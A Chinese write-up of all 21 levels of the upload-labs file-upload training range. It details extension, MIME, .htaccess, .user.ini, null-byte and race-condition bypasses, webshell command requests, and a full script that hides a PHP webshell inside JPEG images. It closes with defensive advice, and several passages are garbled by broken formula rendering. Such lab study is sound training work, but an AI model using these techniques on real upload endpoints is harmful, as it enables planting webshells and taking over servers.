upload-labs 全21关 write-up

upload-labs

从经典靶场入手,看文件上传发展经历

下载

upload-labs是一个使用php语言编写的,专门收集渗透测试和CTF中遇到的各种上传漏洞的靶场。旨在帮助大家对上传漏洞有一个全面的了解。目前一共20关,每一关都包含着不同上传方式。

下载地址:https://github.com/c0ny1/upload-labs/releases

在 win 环境下 直接解压到phpstudy下即可

绕过方式

从以下练习中提炼出文件上传的绕过方式

  1. 上传文件类型不收限制

  2. 前端Javascript校验 - Burp抓包改包绕过

  3. 利用缺陷的文件上传验证

    1. 文件类型验证缺陷 - 通过不常见的后缀绕过 比如:php3,php5等等
    2. 上传目录限制文件类型 - 尝试利用目录遍历将文件上传到其他目录
    3. 后缀限制 - 通过.htaccess 欺骗服务器扩展任意自定义文件后缀到已知的MIME类型;利用.user.ini 包含jpg文件到任意已存在php文件中
    4. 黑名单限制 - 利用后端解析差异
      1. ., 空格::$DATA
      2. Apache 解析漏洞,Nginx解析漏洞,IIS解析漏洞
      3. 对上传 . / 进行二次编码,适合验证文件名扩展没有解码,服务端被解码
      4. 利用 ;,%00绕过PHP,Java 高级语言编写,服务器使用 C/C++低级函数处理文件差异
  4. 黑名单过滤后缀 - 通过双写绕过

  5. 文件内容检查 - 通过添加允许文件头格式绕过

  6. 通过条件竞争实现文件上传

练习

靶场练习主要针对后端检查绕过,从黑白名单,后端检查的内容和代码逻辑几个方面提出不同的绕过方式

有些绕过方式较为久远,我就简单介绍,其他可以在现阶段使用的上传手法给予较多的关注

Pass-1 Javascript 前端检查

一般 都是通过 JS 限制上传的文件类型,对于这种情况,我们可以采用以下几种方式绕过

  • 修改JS文件
  • 上传png后缀的webshell,代理抓包,修改上传的文件后缀 (推荐)
  • 禁用js

靶场实战

  1. 上传webshell.png 文件内容为:
  2. burp 抓包 ,修改文件名为ceshi.php
  3. 成功上传后,找到上传图片的位置,访问 GET /xxx/ceshi.php?cmd=whoami

burp 修改上传文件名的位置

upload-labs 全21关 write-up_第1张图片

获取到图片位置,通过GET方式传入 cmd 参数来获取执行系统命令

upload-labs 全21关 write-up_第2张图片

Pass-2 文件类型检查有缺陷

对文件类型检查有缺陷-检查Content-Type标头是否与MIME 类型匹配。

绕过方式:

  1. 上传 webshell.php 内容为:
  2. 抓包 修改上传的Content-Type 类型为允许的类型 image/jpeg
  3. 放包,收到成功上传
  4. 复制文件上传的路径,请求 GET /upload/upload/webshell.php?cmd=whoami

upload-labs 全21关 write-up_第3张图片

Pass-3 黑名单限制不完全

对于黑名单限制上传文件后缀的 可以通过以下几种方式绕过

  1. 通过使用可被执行但不常见的后缀名,比如 php5,shtml等等
  2. 上传恶意的配置文件(Apache .htaccess) 欺骗服务器将任意自定义文件扩展名映射到可知执行的MIME类型
  3. 利用后端解析差异绕过限制
    1. 添加尾随字符,一些组件会去除或忽略尾随空格、点等:exploit.php. /exploit.php+空格
    2. 对点,斜杠 使用URL 编码, 如果验证文件扩展名时没有解码,在服务端被解码,绕过黑名单限制, exploit%2Ephp
    3. 在文件扩展名前添加分号或 URL 编码的空字节字符。如果验证是用 PHP 或 Java 等高级语言编写的,但服务器使用 C/C++ 中的低级函数处理文件,例如,这可能会导致文件名结尾出现差异:exploit.asp;.jpg或exploit.asp%00.jpg

靶机实战

  1. 上传 webshell.php3 内容为:
  2. 复制文件上传的路径,请求 GET /upload/upload/20200304.php5?cmd=whoami

upload-labs 全21关 write-up_第4张图片

Pass-4 .htaccess 扩展后缀名

测试上传的后缀, php1 php2 php3 都不行,后缀被限制了,尝试上传 .htaccess 添加扩展后缀

  1. 上传 .htaccess 内容为:AddType application/x-httpd-php .l33t

  2. 上传 webshell.l33t 内容为:

  3. 访问文件,执行webshell

Pass-5 .user.ini

本关在上传目录下存在readme.php的php文件,可以利用 .user.ini 文件 使得运行 readme.php 时 包含上传的图片,相当于readme.php也有webshell.php。

user.ini

auto_prepend_file=web.jpg

web.jpg


Pass-6 大小写绕过

 $deny_ext = array(".php",".php5",".php4",".php3",".php2",".html",".htm",".phtml",".pht",".pHp",".pHp5",".pHp4",".pHp3",".pHp2",".Html",".Htm",".pHtml",".jsp",".jspa",".jspx",".jsw",".jsv",".jspf",".jtml",".jSp",".jSpx",".jSpa",".jSw",".jSv",".jSpf",".jHtml",".asp",".aspx",".asa",".asax",".ascx",".ashx",".asmx",".cer",".aSp",".aSpx",".aSa",".aSax",".aScx",".aShx",".aSmx",".cEr",".sWf",".swf",".htaccess",".ini");
        $file_name = trim($_FILES['upload_file']['name']);

服务器端检查后缀时忽略了对大小写的检测,故可以通过大写后缀绕过

Pass-7 黑名单限制不完全- 空格

    if (file_exists(UPLOAD_PATH)) {
        $deny_ext = array(".php",".php5"," 
        .......
        ,".ini");
        $file_name = $_FILES['upload_file']['name'];
        $file_name = deldot($file_name);//删除文件名末尾的点
        $file_ext = strrchr($file_name, '.');
        $file_ext = strtolower($file_ext); //转换为小写
        $file_ext = str_ireplace('::$DATA', '', $file_ext);//去除字符串::$DATA

后端检测没有去掉首尾空格,于是上传 shell.php+空格

upload-labs 全21关 write-up_第5张图片

Pass-8 黑名单限制不完全 - 点

源码中没有过滤 .

上传时文件名为webshell.php.,绕过对后缀的检查

Pass-9 黑名单限制不完全 - ::$DATA

源码中未对 ::$DATA 过滤

在window的时候如果文件名+":: D A T A " 会 把 : : DATA"会把:: DATA"::DATA之后的数据当成文件流处理,不会检测后缀名,且保持::$DATA之前的文件名,他的目的就是不检查后缀名

例如:“webshell.php:: D A T A " W i n d o w s 会 自 动 去 掉 末 尾 的 : : DATA"Windows会自动去掉末尾的:: DATA"Windows::DATA变成"webshell.php”

上传 webshell.php::$DATA

服务端会创建对应的php文件

Pass-10 黑名单限制不完全 - 过滤不全

        $file_name = trim($_FILES['upload_file']['name']);
        $file_name = deldot($file_name);//删除文件名末尾的点
        $file_ext = strrchr($file_name, '.');
        $file_ext = strtolower($file_ext); //转换为小写
        $file_ext = str_ireplace('::$DATA', '', $file_ext);//去除字符串::$DATA
        $file_ext = trim($file_ext); //首尾去空

使用 deldot() 删除文件名末尾的点

deldot() 函数从末尾向前检测,检测到第一个点后,会继续向前检测,但遇到空格会停下来

可以构造文件名: webshell.php. . 绕过检测

Pass-11 黑名单限制不完全 - 双写绕过

$deny_ext = array("......");

        $file_name = trim($_FILES['upload_file']['name']);
        $file_name = str_ireplace($deny_ext,"", $file_name);
        $temp_file = $_FILES['upload_file']['tmp_name'];
        $img_path = UPLOAD_PATH.'/'.$file_name;        

源码中 使用 str_ireplace 不区分大小写替换,只是替换了一次,我们可以利用双写绕过检查

上传文件名 :webshell.p.phphp

上传时会被删除 .php

最后的上传文件名: webshell.php

Pass-12 上传路径可控

条件: php版本 < 5.3.4 ; magic_quotes_gpc=Off

strrpos(string,find,start) 函数查找字符串在另一字符串中最后一次出 现的位置(区分大小写)。

substr(string,start,length) 函数返回字符串的一部分**(从start开始 ,长度为 length)*

$ext_arr = array('jpg','png','gif');
    $file_ext = substr($_FILES['upload_file']['name'],strrpos($_FILES['upload_file']['name'],".")+1);
    if(in_array($file_ext,$ext_arr)){
        $temp_file = $_FILES['upload_file']['tmp_name'];
        $img_path = $_GET['save_path']."/".rand(10, 99).date("YmdHis").".".$file_ext;

源码中对后缀进行白名单检测,只允许 jpg ,png,gif

但上传的路径可控,这里可以使用 %00截断

  1. 上传webshell.jpg的一句话木马
  2. save_path=../upload/webshell.php%00
  3. 成功上传后,%00后的不会被识别

Pass-13 上传路径可控2

    $ext_arr = array('jpg','png','gif');
    $file_ext = substr($_FILES['upload_file']['name'],strrpos($_FILES['upload_file']['name'],".")+1);
    if(in_array($file_ext,$ext_arr)){
        $temp_file = $_FILES['upload_file']['tmp_name'];
        $img_path = $_POST['save_path']."/".rand(10, 99).date("YmdHis").".".$file_ext;

路径可控位置在POST 数据中

burphex 请求数据中,修改php后的字节为00,

upload-labs 全21关 write-up_第6张图片

POST 不会对数据自动解码,所以修改HEX 中内容

Pass-14 文件内容检测

源码读取前2个字节判断上传文件的类型,判断通过后,便重新给文件赋予新的后缀名

在这一关,除了上传,还存在一个 include.php文件,存在文件包含漏洞,可以利用文件包含漏洞请求上传的文件

构造:include.php?file=upload/shell.jpg ,include 会以本文的形式读取shell.jpg的内容,这样存在于shell.jpg里的一句话木马就可以执行

upload-labs 全21关 write-up_第7张图片

图片文件头格式:

文件头部格式:https://blog.csdn.net/xiangshangbashaonian/article/details/80156865

PNG文件头: 89 50 4E 47 0D 0A 1A 0A

JPG文件头: FF D8 FF

GIF (gif)文件头:47494638

Pass-15 文件内容检测

image_type_to_extension 根据指定的图像类型返回对应的后缀名

和Pass-14 做法一致

Pass-16 文件内容检测

exif_imagetype() 判断一个图像的类型,读取一个图像的第一个字节并检查其签名。

本函数可用来避免调用其它 exif 函数用到了不支持的文件类型上或和 [$_SERVER’HTTP_ACCEPT’] 结合使用来检查浏览器是否可以显示某个指定的图像。

需要开启 php_exif模块

做法和Pass-14 一致

Pass-17 二次渲染

上传的图片和上传后的图片大小不一致,断定这里存在图片二次渲染

绕过方法:测试图片的渲染后没有修改的位置,将一句话木马添加进去,这样就可以利用文件包含去执行php一句话木马了

对于GIF 的上传,只需要判断没有修改的位置,然后将php一句话木马添加即可

对于PNG的上传,需要修改PLTE数据块或者修改IDAT数据块,

这里可以利用别人写好的脚本,将php一句话 ,一句话利用了php短开标签

upload-labs 全21关 write-up_第8张图片

另一个要注意的点,0 这里不用使用eval,eval是一个语言构造器,而不是一个函数,不能被可变函数调用;

对于JPG 的上传

命令: php jpg_paload.php 1.jpg

1.jpg 为正常的图片,执行后得到新的payload_1.jpg 为添加php一句话木马后的

    
        In case of successful injection you will get a specially crafted image, which should be uploaded again.
        Since the most straightforward injection method is used, the following problems can occur:
        1) After the second processing the injected data may become partially corrupted.
        2) The jpg_payload.php script outputs "Something's wrong".
        If this happens, try to change the payload (e.g. add some symbols at the beginning) or try another initial image.
        Sergey Bobrov @Black2Fan.
        See also:
        https://www.idontplaydarts.com/2012/06/encoding-web-shells-in-png-idat-chunks/
        */
     
        $miniPayload = "";
     
     
        if(!extension_loaded('gd') || !function_exists('imagecreatefromjpeg')) {
            die('php-gd is not installed');
        }
     
        if(!isset($argv[1])) {
            die('php jpg_payload.php ');
        }
     
        set_error_handler("custom_error_handler");
     
        for($pad = 0; $pad < 1024; $pad++) {
            $nullbytePayloadSize = $pad;
            $dis = new DataInputStream($argv[1]);
            $outStream = file_get_contents($argv[1]);
            $extraBytes = 0;
            $correctImage = TRUE;
     
            if($dis->readShort() != 0xFFD8) {
                die('Incorrect SOI marker');
            }
     
            while((!$dis->eof()) && ($dis->readByte() == 0xFF)) {
                $marker = $dis->readByte();
                $size = $dis->readShort() - 2;
                $dis->skip($size);
                if($marker === 0xDA) {
                    $startPos = $dis->seek();
                    $outStreamTmp = 
                        substr($outStream, 0, $startPos) . 
                        $miniPayload . 
                        str_repeat("\0",$nullbytePayloadSize) . 
                        substr($outStream, $startPos);
                    checkImage('_'.$argv[1], $outStreamTmp, TRUE);
                    if($extraBytes !== 0) {
                        while((!$dis->eof())) {
                            if($dis->readByte() === 0xFF) {
                                if($dis->readByte !== 0x00) {
                                    break;
                                }
                            }
                        }
                        $stopPos = $dis->seek() - 2;
                        $imageStreamSize = $stopPos - $startPos;
                        $outStream = 
                            substr($outStream, 0, $startPos) . 
                            $miniPayload . 
                            substr(
                                str_repeat("\0",$nullbytePayloadSize).
                                    substr($outStream, $startPos, $imageStreamSize),
                                0,
                                $nullbytePayloadSize+$imageStreamSize-$extraBytes) . 
                                    substr($outStream, $stopPos);
                    } elseif($correctImage) {
                        $outStream = $outStreamTmp;
                    } else {
                        break;
                    }
                    if(checkImage('payload_'.$argv[1], $outStream)) {
                        die('Success!');
                    } else {
                        break;
                    }
                }
            }
        }
        unlink('payload_'.$argv[1]);
        die('Something\'s wrong');
     
        function checkImage($filename, $data, $unlink = FALSE) {
            global $correctImage;
            file_put_contents($filename, $data);
            $correctImage = TRUE;
            imagecreatefromjpeg($filename);
            if($unlink)
                unlink($filename);
            return $correctImage;
        }
     
        function custom_error_handler($errno, $errstr, $errfile, $errline) {
            global $extraBytes, $correctImage;
            $correctImage = FALSE;
            if(preg_match('/(\d+) extraneous bytes before marker/', $errstr, $m)) {
                if(isset($m[1])) {
                    $extraBytes = (int)$m[1];
                }
            }
        }
     
        class DataInputStream {
            private $binData;
            private $order;
            private $size;
     
            public function __construct($filename, $order = false, $fromString = false) {
                $this->binData = '';
                $this->order = $order;
                if(!$fromString) {
                    if(!file_exists($filename) || !is_file($filename))
                        die('File not exists ['.$filename.']');
                    $this->binData = file_get_contents($filename);
                } else {
                    $this->binData = $filename;
                }
                $this->size = strlen($this->binData);
            }
     
            public function seek() {
                return ($this->size - strlen($this->binData));
            }
     
            public function skip($skip) {
                $this->binData = substr($this->binData, $skip);
            }
     
            public function readByte() {
                if($this->eof()) {
                    die('End Of File');
                }
                $byte = substr($this->binData, 0, 1);
                $this->binData = substr($this->binData, 1);
                return ord($byte);
            }
     
            public function readShort() {
                if(strlen($this->binData) < 2) {
                    die('End Of File');
                }
                $short = substr($this->binData, 0, 2);
                $this->binData = substr($this->binData, 2);
                if($this->order) {
                    $short = (ord($short[1]) << 8) + ord($short[0]);
                } else {
                    $short = (ord($short[0]) << 8) + ord($short[1]);
                }
                return $short;
            }
     
            public function eof() {
                return !$this->binData||(strlen($this->binData) === 0);
            }
        }
    ?>

另一个方式:

move_uploaded_file($tmpname,$target_path)返回true的时候,就已经成功将图片马上传到服务器了,

所以我们可以利用这个上传的间隙去执行php文件,实现绕过。

Pass-18 条件竞争

if(isset($_POST['submit'])){
   $ext_arr = array('jpg','png','gif');
    $file_name = $_FILES['upload_file']['name'];
    $temp_file = $_FILES['upload_file']['tmp_name'];
    $file_ext = substr($file_name,strrpos($file_name,".")+1);
    $upload_file = UPLOAD_PATH . '/' . $file_name;

    if(move_uploaded_file($temp_file, $upload_file)){
        if(in_array($file_ext,$ext_arr)){
             $img_path = UPLOAD_PATH . '/'. rand(10, 99).date("YmdHis").".".$file_ext;
             rename($upload_file, $img_path);
             $is_upload = true;
        }else{
            $msg = "只允许上传.jpg|.png|.gif类型文件!";
            unlink($upload_file);

源码中的逻辑:这里先将文件上传到服务器,然后通过rename修改名称,再通过unlink删除文件,因此可以通过条件竞争的方式在unlink之前,访问webshell。

条件竞争漏洞:由于服务器端在处理不同的请求时是并发进行的,因此如果并发处理不当或相关操作顺序设计的不合理时,将会导致此类问题的发生

触发:

将上传页面和文件包含触发漏洞页面发送到Burp的intruder,然后payload设置为null,即可触发条件竞争漏洞

Pass-19 条件竞争漏洞

对文件后缀名做了白名单判断,然后会一步一步检查文件大小、文件是否存在等等,将文件上传后,对文件重新命名,同样存在条件竞争的漏洞。可以不断利用burp发送上传图片马的数据包,由于条件竞争,程序会出现来不及rename的问题,从而上传成功

在这一关要注意上传后的文件名:uploadxxx.jpg

成功上传还没重命名的,通过include.php实现包含

upload-labs 全21关 write-up_第9张图片

Pass-20 文件名可控

save_name 可控,可以通过 .,空格,00截断绕过对后缀的判断,

Pass-21多个条件绕过

if(!empty($_FILES['upload_file'])){
    //检查MIME
    $allow_type = array('image/jpeg','image/png','image/gif');
    if(!in_array($_FILES['upload_file']['type'],$allow_type)){
        $msg = "禁止上传该类型文件!";
    }else{
        //检查文件名
        $file = empty($_POST['save_name']) ? $_FILES['upload_file']['name'] : $_POST['save_name'];
        if (!is_array($file)) {
            $file = explode('.', strtolower($file));
        }

        $ext = end($file);
        $allow_suffix = array('jpg','png','gif');
        if (!in_array($ext, $allow_suffix)) {
            $msg = "禁止上传该后缀文件!";
        }else{
            $file_name = reset($file) . '.' . $file[count($file) - 1];
            $temp_file = $_FILES['upload_file']['tmp_name'];
            $img_path = UPLOAD_PATH . '/' .$file_name;
            if (move_uploaded_file($temp_file, $img_path)) {
                $msg = "文件上传成功!";

源码逻辑:

  1. 检查MIME (通过抓包改Content-Type 绕过)
  2. 判断 POST参数 save_name 是否为空,
  3. 判断$file 是否为数组,不是数组以 .分割化为数组
  4. 取 $file 最后一个元素,作为文件后缀进行检查
  5. f i l e 第 一 位 和 第 ‘ file 第一位和第` filefile[count($file) - 1]`作为文件名和后缀名保存文件

故:

上传 webshell.php, 修改save_name 为数组 绕过对 f i l e 的 切 割 , 最 后 file 的切割,最后 filefile 最后一个元素是 save_name[2] = jpg 绕过后缀检测 , 然后reset($file) = webshell.php

$file[1] 没有定义为空,count($file) 的值为$file[count($file) - 1] = $file[1]

所以最后上传的文件为webshell.php

upload-labs 全21关 write-up_第10张图片

文件上传总结

允许用户上传文件是司空见惯的事,只要您采取正确的预防措施,就不一定会有危险。一般来说,保护您自己的网站免受这些漏洞影响的最有效方法是实施以下所有做法:

  • 根据允许扩展名的白名单而不是禁止扩展名的黑名单检查文件扩展名
  • 确保文件名不包含任何可能被解释为目录或遍历序列 ( …/) 的子字符串。
  • 重命名上传的文件以避免可能导致现有文件被覆盖的冲突。
  • 在完全验证之前不要将文件上传到服务器的永久文件系统。
  • 尽可能使用已建立的框架来预处理文件上传,而不是尝试编写自己的验证机制。

文章首发于个人微信公众号:石头安全

你可能感兴趣的:(漏洞,php,文件上传,渗透测试)